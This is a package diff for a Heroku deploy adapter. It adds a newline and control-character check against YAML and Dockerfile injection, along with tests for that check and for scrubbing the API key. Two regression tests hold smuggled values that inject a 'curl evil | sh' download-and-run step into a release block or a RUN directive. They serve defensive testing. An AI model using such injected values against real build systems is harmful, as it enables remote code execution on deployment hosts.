@crewhaus/cloud-adapter-heroku 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +7 -12
- package/src/index.test.ts +197 -0
- package/src/index.ts +22 -0
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@crewhaus/cloud-adapter-heroku",
|
|
3
|
-
"version": "0.1.
|
|
3
|
+
"version": "0.1.2",
|
|
4
4
|
"type": "module",
|
|
5
5
|
"description": "One-click deploy adapter for Heroku — generates a heroku.yml + app.json + Dockerfile and wraps the Heroku Platform API for daemon target shapes (Section 44)",
|
|
6
6
|
"main": "src/index.ts",
|
|
@@ -12,14 +12,14 @@
|
|
|
12
12
|
"test": "bun test src"
|
|
13
13
|
},
|
|
14
14
|
"dependencies": {
|
|
15
|
-
"@crewhaus/docker-images": "0.
|
|
16
|
-
"@crewhaus/errors": "0.
|
|
15
|
+
"@crewhaus/docker-images": "0.1.2",
|
|
16
|
+
"@crewhaus/errors": "0.1.2"
|
|
17
17
|
},
|
|
18
18
|
"license": "Apache-2.0",
|
|
19
19
|
"author": {
|
|
20
20
|
"name": "Max Meier",
|
|
21
|
-
"email": "max@
|
|
22
|
-
"url": "https://
|
|
21
|
+
"email": "max@crewhaus.ai",
|
|
22
|
+
"url": "https://crewhaus.ai"
|
|
23
23
|
},
|
|
24
24
|
"repository": {
|
|
25
25
|
"type": "git",
|
|
@@ -31,12 +31,7 @@
|
|
|
31
31
|
"url": "https://github.com/crewhaus/factory/issues"
|
|
32
32
|
},
|
|
33
33
|
"publishConfig": {
|
|
34
|
-
"access": "
|
|
34
|
+
"access": "public"
|
|
35
35
|
},
|
|
36
|
-
"files": [
|
|
37
|
-
"src",
|
|
38
|
-
"README.md",
|
|
39
|
-
"LICENSE",
|
|
40
|
-
"NOTICE"
|
|
41
|
-
]
|
|
36
|
+
"files": ["src", "README.md", "LICENSE", "NOTICE"]
|
|
42
37
|
}
|
package/src/index.test.ts
CHANGED
|
@@ -51,6 +51,29 @@ describe("herokuYmlFor", () => {
|
|
|
51
51
|
test("rejects unsupported shapes", () => {
|
|
52
52
|
expect(() => herokuYmlFor({ target: "cli" })).toThrow(HerokuAdapterError);
|
|
53
53
|
});
|
|
54
|
+
|
|
55
|
+
// Regression: a `dockerfilePath` containing a newline could inject arbitrary
|
|
56
|
+
// top-level YAML sections (e.g. a `release:` block Heroku would execute).
|
|
57
|
+
test("rejects dockerfile path with newline injection", () => {
|
|
58
|
+
expect(() =>
|
|
59
|
+
herokuYmlFor({
|
|
60
|
+
target: "channel",
|
|
61
|
+
dockerfilePath: "Dockerfile\nrelease:\n command: ['curl evil | sh']",
|
|
62
|
+
}),
|
|
63
|
+
).toThrow(HerokuAdapterError);
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
test("rejects dockerfile path with control character", () => {
|
|
67
|
+
expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "Dockerfile\t" })).toThrow(
|
|
68
|
+
HerokuAdapterError,
|
|
69
|
+
);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
test("rejects empty dockerfile path", () => {
|
|
73
|
+
expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "" })).toThrow(
|
|
74
|
+
HerokuAdapterError,
|
|
75
|
+
);
|
|
76
|
+
});
|
|
54
77
|
});
|
|
55
78
|
|
|
56
79
|
describe("appJsonFor", () => {
|
|
@@ -88,6 +111,35 @@ describe("appJsonFor", () => {
|
|
|
88
111
|
expect(a.indexOf('"ALPHA"')).toBeLessThan(a.indexOf('"ZETA"'));
|
|
89
112
|
});
|
|
90
113
|
|
|
114
|
+
// An env-var entry that is explicitly `undefined` (only reachable from
|
|
115
|
+
// untyped JS callers) is skipped rather than serialized.
|
|
116
|
+
test("skips undefined env-var entries", () => {
|
|
117
|
+
const out = appJsonFor({
|
|
118
|
+
target: "channel",
|
|
119
|
+
name: "my-bot",
|
|
120
|
+
envVars: {
|
|
121
|
+
KEEP: { value: "1" },
|
|
122
|
+
DROP: undefined as unknown as { value?: string },
|
|
123
|
+
},
|
|
124
|
+
});
|
|
125
|
+
const parsed = JSON.parse(out);
|
|
126
|
+
expect(parsed.env).toEqual({ KEEP: { value: "1" } });
|
|
127
|
+
expect(parsed.env.DROP).toBeUndefined();
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
// When no env vars survive filtering, the `env` key is omitted entirely.
|
|
131
|
+
test("omits env key when no env vars provided", () => {
|
|
132
|
+
const parsed = JSON.parse(appJsonFor({ target: "channel", name: "my-bot" }));
|
|
133
|
+
expect(parsed.env).toBeUndefined();
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
test("includes description when provided", () => {
|
|
137
|
+
const parsed = JSON.parse(
|
|
138
|
+
appJsonFor({ target: "channel", name: "my-bot", description: "a demo bot" }),
|
|
139
|
+
);
|
|
140
|
+
expect(parsed.description).toBe("a demo bot");
|
|
141
|
+
});
|
|
142
|
+
|
|
91
143
|
test("respects dyno size and quantity", () => {
|
|
92
144
|
const parsed = JSON.parse(
|
|
93
145
|
appJsonFor({
|
|
@@ -128,6 +180,29 @@ describe("herokuDockerfileFor", () => {
|
|
|
128
180
|
HerokuAdapterError,
|
|
129
181
|
);
|
|
130
182
|
});
|
|
183
|
+
|
|
184
|
+
// Regression: a `baseImage` containing a newline could inject arbitrary
|
|
185
|
+
// Dockerfile instructions (e.g. a `RUN` directive executed at build time).
|
|
186
|
+
test("rejects base image with newline injection", () => {
|
|
187
|
+
expect(() =>
|
|
188
|
+
herokuDockerfileFor({
|
|
189
|
+
target: "channel",
|
|
190
|
+
baseImage: "crewhaus/channel:0.1.0\nRUN curl evil.example | sh",
|
|
191
|
+
}),
|
|
192
|
+
).toThrow(HerokuAdapterError);
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
test("rejects base image with control character", () => {
|
|
196
|
+
expect(() =>
|
|
197
|
+
herokuDockerfileFor({ target: "channel", baseImage: "crewhaus/channel:0.1.0\t" }),
|
|
198
|
+
).toThrow(HerokuAdapterError);
|
|
199
|
+
});
|
|
200
|
+
|
|
201
|
+
test("rejects empty base image", () => {
|
|
202
|
+
expect(() => herokuDockerfileFor({ target: "channel", baseImage: "" })).toThrow(
|
|
203
|
+
HerokuAdapterError,
|
|
204
|
+
);
|
|
205
|
+
});
|
|
131
206
|
});
|
|
132
207
|
|
|
133
208
|
describe("scrubApiKey", () => {
|
|
@@ -139,6 +214,9 @@ describe("scrubApiKey", () => {
|
|
|
139
214
|
test("ignores short keys", () => {
|
|
140
215
|
expect(scrubApiKey("untouched", "abc")).toBe("untouched");
|
|
141
216
|
});
|
|
217
|
+
test("passes through when key is undefined", () => {
|
|
218
|
+
expect(scrubApiKey("untouched", undefined)).toBe("untouched");
|
|
219
|
+
});
|
|
142
220
|
});
|
|
143
221
|
|
|
144
222
|
describe("deployToHeroku", () => {
|
|
@@ -193,6 +271,34 @@ describe("deployToHeroku", () => {
|
|
|
193
271
|
expect(body["region"]).toBe("eu");
|
|
194
272
|
});
|
|
195
273
|
|
|
274
|
+
// Custom apiBaseUrl is honored (also documents the SSRF surface: callers
|
|
275
|
+
// own the base URL, so it must come from trusted config).
|
|
276
|
+
test("respects custom apiBaseUrl", async () => {
|
|
277
|
+
let observedUrl = "";
|
|
278
|
+
const fetchImpl = (async (url: string | URL) => {
|
|
279
|
+
observedUrl = String(url);
|
|
280
|
+
return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
|
|
281
|
+
}) as unknown as typeof fetch;
|
|
282
|
+
await deployToHeroku({
|
|
283
|
+
appName: "my-bot",
|
|
284
|
+
apiKey: "hrk_testkey_abcdef",
|
|
285
|
+
apiBaseUrl: "https://api.heroku.example",
|
|
286
|
+
fetchImpl,
|
|
287
|
+
});
|
|
288
|
+
expect(observedUrl).toBe("https://api.heroku.example/apps");
|
|
289
|
+
});
|
|
290
|
+
|
|
291
|
+
test("uses HEROKU_API_KEY env var when apiKey not passed", async () => {
|
|
292
|
+
process.env[API_KEY_ENV] = "hrk_env_key_abcdef";
|
|
293
|
+
let authHeader = "";
|
|
294
|
+
const fetchImpl = (async (_url: string | URL, init?: RequestInit) => {
|
|
295
|
+
authHeader = (init?.headers as Record<string, string>)["Authorization"] ?? "";
|
|
296
|
+
return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
|
|
297
|
+
}) as unknown as typeof fetch;
|
|
298
|
+
await deployToHeroku({ appName: "my-bot", fetchImpl });
|
|
299
|
+
expect(authHeader).toBe("Bearer hrk_env_key_abcdef");
|
|
300
|
+
});
|
|
301
|
+
|
|
196
302
|
test("scrubs API key from error bodies", async () => {
|
|
197
303
|
const fetchImpl = (async () =>
|
|
198
304
|
new Response("unauthorized — key hrk_leakingkey_full denied", {
|
|
@@ -213,6 +319,46 @@ describe("deployToHeroku", () => {
|
|
|
213
319
|
expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
|
|
214
320
|
});
|
|
215
321
|
|
|
322
|
+
// The transport-level failure path (fetch rejects) must also scrub the key.
|
|
323
|
+
test("scrubs API key from transport errors", async () => {
|
|
324
|
+
const fetchImpl = (async () => {
|
|
325
|
+
throw new Error("connect ECONNREFUSED while using Bearer hrk_leakingkey_full");
|
|
326
|
+
}) as unknown as typeof fetch;
|
|
327
|
+
let caught: Error | undefined;
|
|
328
|
+
try {
|
|
329
|
+
await deployToHeroku({
|
|
330
|
+
appName: "my-bot",
|
|
331
|
+
apiKey: "hrk_leakingkey_full",
|
|
332
|
+
fetchImpl,
|
|
333
|
+
});
|
|
334
|
+
} catch (err) {
|
|
335
|
+
caught = err as Error;
|
|
336
|
+
}
|
|
337
|
+
expect(caught).toBeInstanceOf(HerokuAdapterError);
|
|
338
|
+
expect(caught?.message).toContain("Heroku Platform API request failed");
|
|
339
|
+
expect(caught?.message).not.toContain("hrk_leakingkey_full");
|
|
340
|
+
expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
// Non-Error throw value from the transport is stringified, not crashed on.
|
|
344
|
+
test("handles non-Error transport rejection", async () => {
|
|
345
|
+
const fetchImpl = (async () => {
|
|
346
|
+
throw "string failure";
|
|
347
|
+
}) as unknown as typeof fetch;
|
|
348
|
+
let caught: Error | undefined;
|
|
349
|
+
try {
|
|
350
|
+
await deployToHeroku({
|
|
351
|
+
appName: "my-bot",
|
|
352
|
+
apiKey: "hrk_testkey_abcdef",
|
|
353
|
+
fetchImpl,
|
|
354
|
+
});
|
|
355
|
+
} catch (err) {
|
|
356
|
+
caught = err as Error;
|
|
357
|
+
}
|
|
358
|
+
expect(caught).toBeInstanceOf(HerokuAdapterError);
|
|
359
|
+
expect(caught?.message).toContain("string failure");
|
|
360
|
+
});
|
|
361
|
+
|
|
216
362
|
test("throws clearly when no API key configured", async () => {
|
|
217
363
|
delete process.env[API_KEY_ENV];
|
|
218
364
|
let caught: Error | undefined;
|
|
@@ -225,6 +371,19 @@ describe("deployToHeroku", () => {
|
|
|
225
371
|
expect(caught?.message).toContain("HEROKU_API_KEY is required");
|
|
226
372
|
});
|
|
227
373
|
|
|
374
|
+
// An empty-string env var is treated the same as a missing one.
|
|
375
|
+
test("throws when HEROKU_API_KEY is empty", async () => {
|
|
376
|
+
process.env[API_KEY_ENV] = "";
|
|
377
|
+
let caught: Error | undefined;
|
|
378
|
+
try {
|
|
379
|
+
await deployToHeroku({ appName: "my-bot" });
|
|
380
|
+
} catch (err) {
|
|
381
|
+
caught = err as Error;
|
|
382
|
+
}
|
|
383
|
+
expect(caught).toBeInstanceOf(HerokuAdapterError);
|
|
384
|
+
expect(caught?.message).toContain("HEROKU_API_KEY is required");
|
|
385
|
+
});
|
|
386
|
+
|
|
228
387
|
test("validates app name before network call", async () => {
|
|
229
388
|
let called = false;
|
|
230
389
|
const fetchImpl = (async () => {
|
|
@@ -257,4 +416,42 @@ describe("deployToHeroku", () => {
|
|
|
257
416
|
});
|
|
258
417
|
expect(record.webUrl).toBe("https://my-bot.herokuapp.com/");
|
|
259
418
|
});
|
|
419
|
+
|
|
420
|
+
// Body that parses as JSON but lacks id/name is rejected (scrubbed).
|
|
421
|
+
test("rejects JSON response missing id/name", async () => {
|
|
422
|
+
const fetchImpl = (async () =>
|
|
423
|
+
new Response(JSON.stringify({ message: "created but weird" }), {
|
|
424
|
+
status: 201,
|
|
425
|
+
})) as unknown as typeof fetch;
|
|
426
|
+
let caught: Error | undefined;
|
|
427
|
+
try {
|
|
428
|
+
await deployToHeroku({
|
|
429
|
+
appName: "my-bot",
|
|
430
|
+
apiKey: "hrk_testkey_abcdef",
|
|
431
|
+
fetchImpl,
|
|
432
|
+
});
|
|
433
|
+
} catch (err) {
|
|
434
|
+
caught = err as Error;
|
|
435
|
+
}
|
|
436
|
+
expect(caught).toBeInstanceOf(HerokuAdapterError);
|
|
437
|
+
expect(caught?.message).toContain("missing id/name");
|
|
438
|
+
});
|
|
439
|
+
|
|
440
|
+
// A 2xx response whose body is not JSON surfaces a clear parse error.
|
|
441
|
+
test("rejects non-JSON success body", async () => {
|
|
442
|
+
const fetchImpl = (async () =>
|
|
443
|
+
new Response("<html>not json</html>", { status: 201 })) as unknown as typeof fetch;
|
|
444
|
+
let caught: Error | undefined;
|
|
445
|
+
try {
|
|
446
|
+
await deployToHeroku({
|
|
447
|
+
appName: "my-bot",
|
|
448
|
+
apiKey: "hrk_testkey_abcdef",
|
|
449
|
+
fetchImpl,
|
|
450
|
+
});
|
|
451
|
+
} catch (err) {
|
|
452
|
+
caught = err as Error;
|
|
453
|
+
}
|
|
454
|
+
expect(caught).toBeInstanceOf(HerokuAdapterError);
|
|
455
|
+
expect(caught?.message).toContain("non-JSON body");
|
|
456
|
+
});
|
|
260
457
|
});
|
package/src/index.ts
CHANGED
|
@@ -62,6 +62,17 @@ const PROCESS_FOR_TARGET: Readonly<Record<HerokuTargetShape, "web" | "worker">>
|
|
|
62
62
|
|
|
63
63
|
const APP_NAME_PATTERN = /^[a-z][a-z0-9-]{2,28}[a-z0-9]$/;
|
|
64
64
|
|
|
65
|
+
// Free-form strings (`dockerfilePath`, `baseImage`) are interpolated verbatim
|
|
66
|
+
// into the generated heroku.yml / Dockerfile. A newline or other control
|
|
67
|
+
// character would let a caller inject arbitrary YAML sections or Dockerfile
|
|
68
|
+
// instructions (e.g. a top-level `release:` block, or a `RUN` directive that
|
|
69
|
+
// executes at build time). Legitimate filesystem paths and image references
|
|
70
|
+
// never contain control characters, so reject them outright.
|
|
71
|
+
// Matches C0 control characters (U+0000–U+001F) and DEL (U+007F).
|
|
72
|
+
// eslint-disable-next-line no-control-regex
|
|
73
|
+
// biome-ignore lint/suspicious/noControlCharactersInRegex: intentional control-character detection/sanitization
|
|
74
|
+
const CONTROL_CHAR_PATTERN = /[\u0000-\u001f\u007f]/;
|
|
75
|
+
|
|
65
76
|
function assertHerokuTarget(target: TargetShape): asserts target is HerokuTargetShape {
|
|
66
77
|
if (!isHerokuTargetShape(target)) {
|
|
67
78
|
throw new HerokuAdapterError(
|
|
@@ -78,6 +89,15 @@ function assertAppName(name: string): void {
|
|
|
78
89
|
}
|
|
79
90
|
}
|
|
80
91
|
|
|
92
|
+
function assertNoInjection(label: string, value: string): void {
|
|
93
|
+
if (value.length === 0) {
|
|
94
|
+
throw new HerokuAdapterError(`${label} must not be empty.`);
|
|
95
|
+
}
|
|
96
|
+
if (CONTROL_CHAR_PATTERN.test(value)) {
|
|
97
|
+
throw new HerokuAdapterError(`${label} must not contain newlines or control characters.`);
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
|
|
81
101
|
export type HerokuYmlOptions = {
|
|
82
102
|
readonly target: TargetShape;
|
|
83
103
|
readonly dockerfilePath?: string;
|
|
@@ -94,6 +114,7 @@ export function herokuYmlFor(opts: HerokuYmlOptions): string {
|
|
|
94
114
|
}
|
|
95
115
|
assertHerokuTarget(opts.target);
|
|
96
116
|
const dockerfilePath = opts.dockerfilePath ?? "Dockerfile.heroku";
|
|
117
|
+
assertNoInjection("dockerfilePath", dockerfilePath);
|
|
97
118
|
const processName = PROCESS_FOR_TARGET[opts.target];
|
|
98
119
|
const lines = [
|
|
99
120
|
"# Generated by @crewhaus/cloud-adapter-heroku — do not edit by hand",
|
|
@@ -164,6 +185,7 @@ export function herokuDockerfileFor(opts: HerokuDockerfileOptions): string {
|
|
|
164
185
|
throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
|
|
165
186
|
}
|
|
166
187
|
assertHerokuTarget(opts.target);
|
|
188
|
+
assertNoInjection("baseImage", opts.baseImage);
|
|
167
189
|
// Heroku injects $PORT at runtime; container must bind to it. No EXPOSE.
|
|
168
190
|
const lines = [
|
|
169
191
|
`# Heroku-tuned wrapper around ${opts.baseImage}`,
|